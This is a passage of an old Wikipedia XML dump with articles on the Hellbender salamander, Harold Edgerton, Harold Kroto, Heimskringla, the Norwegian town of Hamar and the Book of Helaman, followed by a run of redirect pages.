| species = '''''C. alleganiensis'''''
| binomial = ''Cryptobranchus alleganiensis''
| binomial_authority = [[Francois Marie Daudin|Daudin]], [[1803]]
| subdivision_ranks = Subspecies
| subdivision = 
''C. a. alleganiensis'' (Eastern Hellbender)&lt;br /&gt;
''C. a. bishopi'' (Ozark Hellbender)
}}
The '''Hellbender''' (''Cryptobranchus alleganiensis'') is a large aquatic [[salamander]] native to [[North America]] whose habitat includes large, swiftly flowing streams with rocky bottoms.

==Range==
The range of the '''Eastern Hellbender''' (''C. a. alleganiensis'') in North America extends from southwestern and south central [[New York]], west to southern [[Illinois]], and south to extreme northeastern [[Mississippi]] and the northern parts of [[Alabama]] and [[Georgia (U.S. state)|Georgia]]. A disjunct population occurs in east-central Missouri. The '''Ozark Hellbender''' (''C. a. bishopi'') subspecies exists as a disjunct population in southeastern [[Missouri]] and adjacent [[Arkansas]].

==Anatomy &amp; Physiology==
Hellbenders have a flat body and head, with small eyes. Like all [[salamanders]], they have short legs and thin bodies. Their tails, however, are especially keeled to help propel them through water. They have four toes on their front legs and five on their back ones. Although the Hellbender has working lungs, there is a single [[gill]] slit along each side of its neck, resembling fleshy folds. They reach lengths of eighteen to twenty-nine inches (forty-six to seventy-four centimeters), and weigh in at about three to five pounds. Their primary sources of food are crayfish, snails and worms.
They have powerful jaws and can inflict a painful bite. Male Hellbenders are territorial and physically compete for nesting areas. Hellbenders may live up to twenty-nine years in captivity, and follow a normal amphibious life cycle.

==Reproduction==
Females lay between 200 and 500 eggs after their breeding period in late August through September. Eggs are deposited in a nest made by the male under a large rock and will be guarded by the male until the eggs hatch after 2-3 months of gestation.

==External links and references==
* [http://www.dgif.state.va.us/wildlife/species/display.asp?id=020020 Commonwealth of Virginia Hellbender Information]
* [http://www.dec.state.ny.us/website/dfwmr/wildlife/endspec/hellfs.html State of New York Hellbender Information]
* [http://ecos.fws.gov/species_profile/SpeciesProfile?spcode=D032 U.S. Fish &amp; Wildlife Service Endangered Species Program]
* [http://hellbenders.sanwalddesigns.com/ The Hellbender Homepage]

[[Category:Salamanders]]

[[es:Cryptobranchus alleganiensis]]
[[nl:Noord-Amerikaanse modderduivel]]</text>
    </revision>
  </page>
  <page>
    <title>Harold Eugene Edgerton</title>
    <id>14466</id>
    <revision>
      <id>41663892</id>
      <timestamp>2006-02-28T22:44:36Z</timestamp>
      <contributor>
        <username>BenFrantzDale</username>
        <id>41799</id>
      </contributor>
      <comment>rm &quot;UNL&quot; completely. This reads better.</comment>
      <text xml:space="preserve">[[image:Shockwave.jpg|right|thumb|300px|[[Schlieren photography|Shadowgraph]] of a .22-caliber bullet in flight&lt;br&gt;Taken by an MIT freshman in 1962, in Edgerton's lab. The flash was triggered by the shock wave (shown) hitting a microphone (out of frame). The picture shows no solid object except the bullet.]]

'''Harold Eugene &quot;Doc&quot; Edgerton''' ([[April 6]], [[1903]]&amp;ndash;[[January 4]], [[1990]]) was a professor of [[electrical engineering]] at the [[Massachusetts Institute of Technology]]. He is largely credited with transforming [[stroboscope]]s from an obscure laboratory instrument into a pedestrian device in every camera.

He grew up in Aurora, [[Nebraska]] and attended the [[University of Nebraska-Lincoln]]. After graduating, he married Esther Garret in [[1928]]. During their marriage they had three children: William, Robert, and Mary Lou.

Edgerton first used stroboscopes to study synchronous motors for his PhD thesis at MIT, awarded in 1931. He credited [[Charles Stark Draper]] with inspiring him to point stroboscopes at everyday objects: the first was a stream of water coming out of a faucet. He was a pioneer in strobe [[photography]], subsequently using the technique to capture images of balloons during their bursting, or a bullet during its impact with an apple, for example. He was awarded a bronze medal by the Royal Photographic Society in [[1934]], and the National Medal of Science in [[1973]]. He also invented the [[Rapatronic camera]].

In [[1937]] he began a lifelong association with [[photographer]] [[Gjon Mili]], who used stroboscopic equipment, particularly a &quot;multiflash&quot; strobe light, to produce strikingly beautiful photographs, many of which appeared in [[Life Magazine]].

He was a cofounder of the company [[EG&amp;G]], with [[Kenneth Germeshausen]] and [[Herbert Grier]], in [[1947]]. EG&amp;G became a prime contractor for the [[Atomic Energy Commission]] and had a major role in testing nuclear weapons for the United States through the fifties and sixties.

His work was instrumental in the development of [[side-scan sonar]] technology, used to scan the sea floor for wrecks. Edgerton worked with the undersea explorer [[Jacques-Yves Cousteau|Jacques Cousteau]], by first providing him with underwater stroboscopes, and then by using sonar to discover the [[Britannic]]. Edgerton participated in the discovery of the [[American Civil War]] battleship [[USS Monitor]]. While working with Cousteau, he acquired the nickname he is still known by in photographic circles, &quot;Papa Flash&quot;.

In addition to having the scientific and engineering acumen to perfect [[strobe light]]ing commercially, Edgerton is equally recognized for his visual aesthetic: many of the striking images he created in illuminating phenomena that occurred too fast for the naked eye adorn art museums worldwide.

He was especially loved by [[MIT]] students for his willingness to teach and his kindness: &quot;The trick to education,&quot; he said, &quot;is to teach people in such a way that they don't realize they're learning until it's too late.&quot;

==External links==
*[http://www.edgerton.org/biography.html Bio]
*The most famous of all Edgerton's photographs, the '''Milkdrop Coronet,''' can be seen [http://www.agallery.com/Pages/photographers/edgerton.html here] and [http://web.mit.edu/museum/exhibits/flashes5.html here].
*[http://web.mit.edu/Edgerton/ The Edgerton Center at MIT]
*[http://www.cycleback.com/edgerton.htm 1934 Edgerton photo of Wes Fesler kicking football]
*[http://mit.edu/6.933/www/Fall2000/edgerton/www/prewar.html Early photographs from Edgerton's laboratory, including water from the tap mentioned above]
*[http://www.rapidnewswire.com/atom.htm 3 photos of a nuclear explosion done at 1/1000,000,000 of a second by Edgerton]

[[Category:1903 births|Edgerton, Doc]]
[[Category:1990 deaths|Edgerton, Doc]]
[[Category:Pioneers of photography|Edgerton, Doc]]
[[Category:People from Nebraska|Edgerton, Doc]]
[[Category:Massachusetts Institute of Technology|Edgerton, Doc]]
[[Category:National Medal of Science recipients|Edgerton]]

[[de:Harold E. Edgerton]]</text>
    </revision>
  </page>
  <page>
    <title>Harold Kroto</title>
    <id>14467</id>
    <revision>
      <id>42125078</id>
      <timestamp>2006-03-04T00:02:55Z</timestamp>
      <contributor>
        <username>Helzagood</username>
        <id>842568</id>
      </contributor>
      <minor />
      <comment>correcting error</comment>
      <text xml:space="preserve">'''Sir Harold Walter Kroto''' [[Order of the British Empire|KBE]] , [[Fellow of the Royal Society|FRS]] , [[Doctor of Philosophy|Ph.D]] (born [[7 October]], [[1939]]) is an [[England|English]] [[chemistry|chemist]] and one of the winners of the 1996 [[Nobel Prize in Chemistry]]. 

He spent a large part of is working career at the [[University of Sussex]], and is currently on faculty at [[Florida State University]].

==Early life==

He was born, christened '''Harold Krotoschiner''' in [[Wisbech]], [[Cambridgeshire]], [[England]] with his unusual name being of [[Silesian]] origin. His father's family came from [[Bojanowo]], [[Poland]], and his mother's from [[Berlin]], [[Germany]]. 

Both his parents were born in Berlin but came to Great Britain in the 1930s as [[refugees]] from the Nazis because his father was Jewish. 

He was raised in [[Bolton]], [[Lancashire]], [[England]], where he attended [[Bolton School]], where he was a contemporary of the highly acclaimed actor [[Sir Ian McKellen]]. In 1955 the family name was shortened to '''Kroto'''.

As a child, he became fascinated by a [[Meccano]] set. Kroto credits Meccano &amp;mdash; amongst other things &amp;mdash; with developing skills useful in scientific [[research]]. He was raised Jewish, but the religion never made any sense to him.  

He now claims to have four &quot;religions&quot;: [[humanism]], [[atheism]], [[Amnesty International|amnesty-internationalism]] and humourism. He developed an interest in [[chemistry]], [[physics]], and [[mathematics]] in secondary school, and because his [[sixth form]] chemistry teacher ([[Harry Heaney]] - who subsequently became a University Professor) felt that the [[University of Sheffield]] had the best chemistry department in the United Kingdom, he went to Sheffield.

In 1963 he married the former Margaret Henrietta Hunter (now '''Margaret, Lady Kroto''').

==Early work==

In 1961 he took a first class [[Bachelor of Science|B. Sc.]] honours degree in [[chemistry]] at the [[University of Sheffield]], followed in 1964 by a [[Doctor of Philosophy|Ph. D.]] at the same institution. His doctoral research involved high-resolution [[electronic spectrum|electronic spectra]] of [[free radical]]s produced by [[flash photolysis]] (breaking of [[chemical bond]]s by [[light]]). 

Among other things such as making the first phosphaalkenes (compounds with carbon phosphorus double bonds), his doctoral studies included some unpublished research on [[carbon suboxide]], O=C=C=C=O, and this led to a general interest in [[molecule]]s containing chains of carbon atoms with numerous multiple bonds. He started his work with an interest in [[organic chemistry]], but when he learned about [[spectroscopy]] it inclined him to [[quantum chemistry]].

After postdoctoral research at the National Research Council in [[Canada]] and [[Bell Laboratories]] in the USA he began teaching and research at the [[University of Sussex]] in England in 1967. He became a full professor in 1985, and a '''Royal Society Research Professor''' from 1991 &amp;ndash; 2001.

==Subsequent work==

In the 1970s he launched a research programme at Sussex to look for [[carbon]] chains in [[interstellar space]]. Earlier studies had detected the molecule [[cyanoacetylene]], H-C&lt;u&gt;=&lt;/u&gt;C-C&lt;u&gt;=&lt;/u&gt;N. Kroto's group searched for spectral evidence of longer similar molecules such as [[cyanobutadiyne]], H-C&lt;u&gt;=&lt;/u&gt;C-C&lt;u&gt;=&lt;/u&gt;C-C&lt;u&gt;=&lt;/u&gt;N and [[cyanohexatriyne]], H-C&lt;u&gt;=&lt;/u&gt;C-C&lt;u&gt;=&lt;/u&gt;C-C&lt;u&gt;=&lt;/u&gt;C-C&lt;u&gt;=&lt;/u&gt;N, and found them from 1975 - 1978. 

Trying to explain them led to the discovery of the C&lt;sub&gt;60&lt;/sub&gt; molecule. (See [[buckminsterfullerene]].) He heard of [[laser]] [[spectroscopy]] work being done by [[Richard Smalley]] and [[Robert Curl]] at [[Rice University]] in Texas. He suggested that they should use the Rice apparatus to simulate the carbon chemistry that occurs in the atmosphere of a carbon star. 

The experiment carried out in September 1985 not only proved that carbon stars could produce the chains but revealed an amazing, serendipitous result - the totally unexpected existence of the C&lt;sub&gt;60&lt;/sub&gt; species. The three scientists carried out the work with [[graduate student]]s Jim Heath (now a full Professor at Cal. Tech.), Sean O'Brien (now at [[Texas Instruments]]), and Yuan Liu (now at Oak Ridge). The [[Nobel Prize/Chemistry|Nobel Prize in Chemistry]] was shared by Curl, Kroto and Smalley in 1996.

In 1995 he jointly set up the Vega Science Trust a UK educational charity (see[[http://www.vega.org.uk www.vega.org.uk]]) to create high quality science films for TV and Internet Broadcast. Vega has produced some 92 programmes of which 50 have been broadcast on BBC TV in the late-night slots all programmes stream for free from the Vega website. Viewing figures vary from 600,000 to 300,000.

He presently carries out research in Nanoscience and Nanotechnology.

==Awards and Honours==

Kroto was elected a [[Fellow of the Royal Society]] in 1990, and was awarded a knighthood (becoming Sir Harold Kroto) in 1996. Later that year he received the [[Nobel Prize in Chemistry]]. In 2004 he won the [[Copley Medal]] of the [[Royal Society]].

His [[alma mater]], the [[University of Sheffield]], awarded him an [[honorary degree|honorary doctorate]] in 1995 at the undergraduate degree congregation.

On [[29 November]], [[2004]], Kroto annouced he was to return his honorary degree from the [[University of Exeter]], in protest over the closure of their Department of Chemistry.

He was awarded the 2004 [[Copley Medal]].

On [[17 June]], [[2005]], the [[University of Surrey]] conferred an [[honorary degree|honorary doctorate]] on him at an undergraduate degree ceremony. (see[[http://portal.surrey.ac.uk/portal/page?_pageid=799,458939&amp;_dad=portal&amp;_schema=PORTAL]]) University of Surrey Press Release.

==External links==
* [http://nobelprize.org/chemistry/laureates/1996/kroto-autobio.html Harry Kroto autobiography from Nobel foundation]
*[http://www.royalsoc.ac.uk/page.asp?id=1527 Sir Harry Kroto FRS - Chemical architecture] from the [[Royal Society]]
*[http://www.sussex.ac.uk/Users/kroto/harry1.html Harry Kroto homepage at the University of Sussex]
*[http://www.open2.net/science/mscstudents/kroto/kroto_ind.htm Professor Harry Kroto]
*[http://www.vega.org.uk/ Vega Science Trust]
*[http://www.kroto.info/ Harry Kroto personal website]
*[http://www.fsu.edu/profiles/kroto/ Florida State University page]

[[Category:1939 births|Kroto, Harold]]
[[Category:Atheists|Kroto, Harold]]
[[Category:British academics|Kroto, Harold]]
[[Category:Fellows of the Royal Society|Kroto, Harold]]
[[Category:Humanists|Kroto, Harold]]
[[Category:Knights Commander of the British Empire|Kroto, Harold]]
[[Category:Living people|Kroto, Harold]]
[[Category:Nobel Prize in Chemistry winners|Kroto, Harold]]

[[de:Harold Kroto]]
[[pt:Harold Walter Kroto]]
[[sv:Harold Kroto]]</text>
    </revision>
  </page>
  <page>
    <title>Heimskringla</title>
    <id>14468</id>
    <revision>
      <id>27775022</id>
      <timestamp>2005-11-09T01:09:31Z</timestamp>
      <contributor>
        <username>Shanes</username>
        <id>94147</id>
      </contributor>
      <minor />
      <comment>Fix redlink. Using the name of the article on him.</comment>
      <text xml:space="preserve">'''Heimskringla''' is the [[Old Norse language|Old Norse]] name of a collection of [[sagas]] recorded in Iceland around [[1225]] by the poet and historian [[Snorri Sturluson]] (1179-1242). The collection contains tales about the [[List of Norwegian monarchs|Norwegian kings]], beginning with the legendary Swedish dynasty of the [[House of Yngling]]s, followed by accounts of more historical Norwegian rulers of the [[10th century|10th]] to [[12th century|12th]] centuries, up to the death of [[Eystein Meyla]] in [[1177]].

The Heimskringla traces [[Odin]] and his followers from the East, from [[Asaland]] and [[Asgard]], its chief city, to their settlement in [[Scandinavia]]. It narrates the contests of the kings, the establishment of the kingdoms of [[Norway]], [[Sweden]], and [[Denmark]], the [[Viking]] expeditions and the conquests of [[England]]. The stories are told with a life and freshness, giving a picture of human life in all its reality. Some of the [[Sagas]] of the &quot;Heimskringla&quot; are romances, full of  adventures, while at the same time they lie completely within the range of history and may be regarded as authentic. The Saga of [[Olav II of Norway|Olaf Haraldson]] is the main part. His 15 year long reign takes up about one third of the entire work. That of [[Harold Hardrada]] narrates his expedition to the East, his brilliant exploits in [[Constantinople]], [[Syria]], and [[Sicily]], his scaldic accomplishments, and his battles in [[England]] against [[Harold]], the son of [[Earl Godwin]], where he fell at [[Battle of Stamford Bridge|Stamford Bridge]] in [[1066]] only a few days before Harold himself fell at the [[battle of Hastings]]. This Saga is a splendid epic in prose, and is also of particular relevance to the history of [[England]]. The first part of the Heimskringla is rooted in [[Norse mythology]]; as it advances, fable and fact all curiously intermingle, and it terminates in factual history. The Heimskringla was translated into English by [[Samuel Laing]] in [[1844]].

The Heimskringla contains the following sagas (see also [[List of Norwegian monarchs]]):
# [[Ynglinga saga]]
# Saga of [[Halfdan the Black|Halfdan]] Svarte (the Black) 
# Saga of [[Harald I of Norway|Harald Hårfagre]] (died ca. [[931]])
# Saga of [[Haakon I of Norway|Hakon the Good]] (died [[961]])
# Saga of King [[Harald II of Norway|Harald Grafeld]] (died [[969]])
# Saga of King [[Olaf Tryggvason]] (died [[1000]])
# Saga of [[Olav II of Norway|Olaf Haraldson]] (died [[1030]]), excerpt from [[conversion of Dale-Gudbrand]]
# Saga of [[Magnus the Good]] (died [[1047]])
# Saga of [[Harald III of Norway|Harald Hardrade]] (died [[1066]])
# Saga of [[Olaf III of Norway|Olaf Kyrre]] (died [[1093]])
# Saga of [[Magnus III of Norway|Magnus Barefoot]] (died [[1103]])
# Saga of [[Sigurd Jorsalfar|Sigurd the Crusader]] (died [[1130]]) and his brothers
# Saga of [[Magnus IV of Norway|Magnus the Blind]] (dethroned [[1135]]) and of [[Harald IV of Norway|Harald Gille]] (died [[1136]])
# Saga of [[Sigurd Haraldson|Sigurd]] (died [[1155]]), [[Eystein Haraldson|Eystein]] (died [[1157]]) and [[Inge Haraldson|Inge]] (died [[1161]]), the sons of Harald
# Saga of [[Hakon II of Norway|Hakon Herdebreid]]  (died [[1162]])
# Saga of [[Magnus V of Norway|Magnus Erlingson]] (died [[1184]])

==External links==
*[http://www.heimskringla.no/original/heimskringla/index.php Heimskringla] in Old Norse from «Kulturformidlingen norrøne tekster og kvad» Norway.
* [http://wikisource.org/wiki/Heimskringla Heimkringla in Modern Icelandic on Wikisource]
* [http://en.wikisource.org/wiki/Heimskringla Heimkringla in English on Wikisource]
* [http://sunsite.berkeley.edu/OMACL/Heimskringla/ Berkeley page on Snorri Sturluson's text]

----
'''Heimskringla''' is also the name of a weekly [[newspaper]] published in [[Winnipeg, Manitoba|Winnipeg]], [[Manitoba]], [[Canada]].  It contains articles written in [[Icelandic language|Icelandic]] of interest to Icelandic Canadians.

{{NorseMythology}}

[[Category:Sagas of Iceland]]
[[Category:Medieval literature]]
[[Category:Sources of Norse mythology]]
[[Category:Viking Age]]

[[de:Heimskringla]]
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[[ko:헤임스크링라]]
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[[sv:Heimskringla]]</text>
    </revision>
  </page>
  <page>
    <title>HAM</title>
    <id>14469</id>
    <revision>
      <id>18391127</id>
      <timestamp>2005-07-08T11:31:20Z</timestamp>
      <contributor>
        <username>Joy</username>
        <id>20318</id>
      </contributor>
      <comment>moved to disambiguation page</comment>
      <text xml:space="preserve">#REDIRECT [[Ham (disambiguation)]]</text>
    </revision>
  </page>
  <page>
    <title>Hamar</title>
    <id>14470</id>
    <revision>
      <id>41281670</id>
      <timestamp>2006-02-26T06:52:56Z</timestamp>
      <contributor>
        <username>Williamborg</username>
        <id>222080</id>
      </contributor>
      <minor />
      <comment>/* History */</comment>
      <text xml:space="preserve">:''For the Ethiopian tribe of this name, see [[Hammer (tribe)]]''.
{{Infobox_Kommune|
name=Hamar|
idnumber=0403|
county=[[Hedmark]]|
landscape=[[Hedemarken]]|
capital=Hamar|
governor=Einar Busterud (''By- og bygdelista'' - The City and Rural areas Party)|
governor_as_of=2004|
arearank=257|
area=351|
arealand=338|
areapercent=0.11|
population_as_of=2004|
populationrank=30|
population=27,245|
populationpercent=0.60|
populationdensity=81|
populationincrease=4.3|
language=[[Norwegian language|Neutral]]|
lat_deg=60| lat_min=49| lat_sec=33| lon_deg=11| lon_min=9| lon_sec=35|
utm_zone=32V| utm_northing=6745332 |utm_easting=0617436| geo_cat=adm2nd|
coatofarms=[[Image:Hamar_komm.png|70px]]|
map=[[Image:Hamar_kart.png]]|
munwebpage=www.hamar.kommune.no|
}}
'''Hamar''' is a town and [[municipalities of Norway|municipality]] in the [[counties of Norway|county]] of [[Hedmark]], [[Norway]].

Hamar is located on the shores of [[Mjøsa]], Norway's largest lake, and is the principal city of the [[Hedmark]] county. It is bordered to the northwest by [[Ringsaker]], to the north by [[Åmot]], to the east by [[Løten]], and on the south by [[Stange]].

==History==
Between [[500]]AD and [[1000 AD|1000]]AD, the farm Aker was probably one of the most important power centres in Norway, located just a few kilometres outside today's Hamar. After the christening of Norway in 1030, Hamar began to gain influence as a centre for trade and religion, until the episcopal representative [[Pope Adrian IV|Nikolaus Breakspear]] in [[1152]] founded Hamar Kaupangen as one of five dioceses in medieval Norway. It remained an important religious and political centre in Norway, organized around the cathedral and the bishop's manor until the [[Reformation|reformation]] in [[1536]], when it lost its status as a bishopric. The cathedral and manor were destroyed in the [[Northern Seven Years' War]] with [[Sweden]] in [[1567]], and in [[1568]] the [[Market town|market]] was disbanded, under pressure from citizens of [[Oslo]]. Since then, Hamar gradually lost its importance as a trading centre. The site of the medieval town fell into disrepair and was taken over by a farm.

==The modern city==

The modern city of Hamar was founded a kilometer or so south of the medieval city in [[1849]] by [[King Oscar]] as a trading center.
[[Image:hamar-walkingstreet.jpg|left|thumb|300px|Hamar's pedestrian street]]
[[Image:Domkirkeruinene-Hamar.jpg|left|thumb|300px|Domkirkeruinene (cathedral ruins)]]
The [[Hedmark museum]], located on [[Domkirkeodden]] is an important historical landmark in Hamar, an out-door museum with remains of the medieval church, in a protective glass housing, the episcopal fortress, and a collection of old farm houses.  The museum is a combined medieval, ethnological and archaeological museum and has received architectural prizes for its approach to conservation and exhibition.  It also houses a vast photographic archive for the Hedmark region.
[[Image:Vikingskipet-Hamar.jpg|right|thumb|260px|The Viking Ship]]
Hamar is also known for its indoor [[speed skating]] arena, the ''Olympia Hall'', better known as [[Vikingskipet Olympic Arena|Vikingskipet]] (&quot;The [[Viking]] ship&quot;) for its shape. It was built to host the speed skating competitions of the [[1994 Winter Olympics]] that were held in nearby [[Lillehammer]].

The centre of Hamar is the pedestrian walkway in the middle of town, with the library, cinema and farmer's market on Stortorget (the big square) on the western side, and Østre Torg (the eastern square) on the eastern side.

Hamar is an important [[railway]] junction between two different lines to [[Trondheim]]. [[Rørosbanen]], the old railway line, branches off from the mainline [[Dovrebanen]]. The Norwegian national railway museum (''Norsk Jernbanemuseum'') is also situated in Hamar.

==External links==
{{commons|Hamar}}
* [http://hamar.clickwalk.no/indexe.html Hamar Pictorial click-through]
* [http://www.hedmarksmuseet.no/ The Hedmark Museum]
* [http://www.norsk-jernbanemuseum.no/ The Norwegian national railway museum]

{{Hedmark}}
{{25 biggest cities of Norway}}

[[Category:Municipalities of Norway]]
[[Category:Cities in Norway]]
[[Category:Hedmark]]

{{Link FA|no}}

[[cs:Hamar]]
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[[sv:Hamar]]</text>
    </revision>
  </page>
  <page>
    <title>Book of Helaman</title>
    <id>14472</id>
    <revision>
      <id>32509260</id>
      <timestamp>2005-12-23T18:51:29Z</timestamp>
      <contributor>
        <username>Kralizec!</username>
        <id>182971</id>
      </contributor>
      <minor />
      <comment>changed link from redirect</comment>
      <text xml:space="preserve">{{Template:Books of the Book of Mormon}}
'''''The Book of Helaman''''' is one of the books that make up the ''[[Book of Mormon]]''. The book continues the history of the [[Nephite]]s and the [[Lamanites]] &quot;according to the records of [[Helaman, son of Helaman|Helaman]], who was the son of [[Helaman]], and also according to the records of his sons, even down to the coming of [[Christ]]&quot; (''The Book of Helaman'', preface). According to footnotes, the book covers the time period between ''ca'' 52 BC and 1 BC.

==External links==
*[http://scriptures.lds.org/hel/contents Book of Helaman text] on the LDS Church web site
*[http://scriptures.lds.org/hel/summary Book of Helaman summary]
*[http://www.funtrivia.com/quizlistgold.cfm?cat=11579 Book of Helaman trivia]

{{LDS-stub}}

[[Category:Books of the Book of Mormon]]</text>
    </revision>
  </page>
  <page>
    <title>Hussites</title>
    <id>14473</id>
    <revision>
      <id>15912028</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Hussite]]
</text>
    </revision>
  </page>
  <page>
    <title>Harry Potter and the Sorcerers Stone</title>
    <id>14474</id>
    <revision>
      <id>15912029</id>
      <timestamp>2002-08-24T05:58:41Z</timestamp>
      <contributor>
        <username>Enchanter</username>
        <id>1104</id>
      </contributor>
      <minor />
      <comment>Correcting redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Harry Potter and the Philosopher's Stone]]</text>
    </revision>
  </page>
  <page>
    <title>IrishTraditionalMusic</title>
    <id>14475</id>
    <revision>
      <id>15912030</id>
      <timestamp>2004-02-22T08:05:39Z</timestamp>
      <contributor>
        <username>RedWolf</username>
        <id>27822</id>
      </contributor>
      <minor />
      <comment>fix dr</comment>
      <text xml:space="preserve">#REDIRECT [[Music of Ireland]]</text>
    </revision>
  </page>
  <page>
    <title>IsLam</title>
    <id>14478</id>
    <revision>
      <id>15912031</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Islam]]
</text>
    </revision>
  </page>
  <page>
    <title>IslandS</title>
    <id>14480</id>
    <revision>
      <id>15912033</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Island]]
</text>
    </revision>
  </page>
  <page>
    <title>IndoEuropean</title>
    <id>14481</id>
    <revision>
      <id>15912034</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Indo-European languages]]
</text>
    </revision>
  </page>
  <page>
    <title>ItalY</title>
    <id>14482</id>
    <revision>
      <id>15912035</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Italy]]
</text>
    </revision>
  </page>
  <page>
    <title>IntegerNumbers</title>
    <id>14483</id>
    <revision>
      <id>15912036</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Integer]]
</text>
    </revision>
  </page>
  <page>
    <title>IndoIranianLanguages</title>
    <id>14485</id>
    <revision>
      <id>15912037</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Indo-Iranian languages]]
</text>
    </revision>
  </page>
  <page>
    <title>IcelanD</title>
    <id>14487</id>
    <revision>
      <id>15912038</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Iceland]]
</text>
    </revision>
  </page>
  <page>
    <title>Isaac Asimov/Robot Books</title>
    <id>14489</id>
    <revision>
      <id>15912039</id>
      <timestamp>2002-07-02T20:07:54Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>move to Isaac Asimov's Robot Series</comment>
      <text xml:space="preserve">#REDIRECT [[Isaac Asimov's Robot Series]]</text>
    </revision>
  </page>
  <page>
    <title>Isaac Asimov/Foundation And Earth</title>
    <id>14490</id>
    <revision>
      <id>15912040</id>
      <timestamp>2002-07-02T20:03:35Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>move to Foundation and Earth</comment>
      <text xml:space="preserve">#REDIRECT [[Foundation and Earth]]</text>
    </revision>
  </page>
  <page>
    <title>Isaac Asimov/TheFoundationSeries</title>
    <id>14491</id>
    <revision>
      <id>15912041</id>
      <timestamp>2002-10-11T11:04:12Z</timestamp>
      <contributor>
        <username>The Anome</username>
        <id>76</id>
      </contributor>
      <comment>#REDIRECT [[The Foundation Series]]</comment>
      <text xml:space="preserve">#REDIRECT [[The Foundation Series]]</text>
    </revision>
  </page>
  <page>
    <title>Isaac Asimov/The Foundation Series</title>
    <id>14492</id>
    <revision>
      <id>15912042</id>
      <timestamp>2002-07-02T20:06:28Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>move to The Foundation Series</comment>
      <text xml:space="preserve">#REDIRECT [[The Foundation Series]]</text>
    </revision>
  </page>
  <page>
    <title>Isaac Asimov/Prelude To Foundation</title>
    <id>14493</id>
    <revision>
      <id>15912043</id>
      <timestamp>2002-07-02T20:02:18Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>move to Prelude to Foundation</comment>
      <text xml:space="preserve">#REDIRECT [[Prelude to Foundation]]</text>
    </revision>
  </page>
  <page>
    <title>Isaac Asimov/Foundations Edge</title>
    <id>14495</id>
    <revision>
      <id>15912045</id>
      <timestamp>2002-07-02T19:51:54Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>redirect to Foundation's Edge (icky subpages)</comment>
      <text xml:space="preserve">#REDIRECT [[Foundation's Edge]]</text>
    </revision>
  </page>
  <page>
    <title>Isaac Asimov/Galactic Empire Books</title>
    <id>14497</id>
    <revision>
      <id>15912047</id>
      <timestamp>2002-07-02T20:09:16Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>move to Isaac Asimov's Galactic Empire Series</comment>
      <text xml:space="preserve">#REDIRECT [[Isaac Asimov's Galactic Empire Series]]</text>
    </revision>
  </page>
  <page>
    <title>Isaac Asimov/The Caves Of Steel</title>
    <id>14500</id>
    <revision>
      <id>15912048</id>
      <timestamp>2002-07-02T19:54:23Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>redirect to The Caves of Steel</comment>
      <text xml:space="preserve">#REDIRECT [[The Caves of Steel]]</text>
    </revision>
  </page>
  <page>
    <title>IdentityAndChange</title>
    <id>14503</id>
    <revision>
      <id>15912049</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Identity and change]]
</text>
    </revision>
  </page>
  <page>
    <title>IsaacAsimov/TheFoundationSeries</title>
    <id>14504</id>
    <revision>
      <id>15912050</id>
      <timestamp>2002-08-03T16:41:24Z</timestamp>
      <contributor>
        <username>The Epopt</username>
        <id>30</id>
      </contributor>
      <comment>fixed borken redirect</comment>
      <text xml:space="preserve">#REDIRECT [[The Foundation Series]]</text>
    </revision>
  </page>
  <page>
    <title>IsaacAsimov/PreludeToFoundation</title>
    <id>14505</id>
    <revision>
      <id>15912051</id>
      <timestamp>2002-08-03T16:42:39Z</timestamp>
      <contributor>
        <username>The Epopt</username>
        <id>30</id>
      </contributor>
      <comment>fixed borken redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Prelude to Foundation]]</text>
    </revision>
  </page>
  <page>
    <title>IsaacAsimov/FoundationsEdge</title>
    <id>14506</id>
    <revision>
      <id>15912052</id>
      <timestamp>2002-08-03T16:43:15Z</timestamp>
      <contributor>
        <username>The Epopt</username>
        <id>30</id>
      </contributor>
      <comment>fixed borken redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Foundation's Edge]]</text>
    </revision>
  </page>
  <page>
    <title>IsaacAsimov/TrantoR</title>
    <id>14507</id>
    <revision>
      <id>15912053</id>
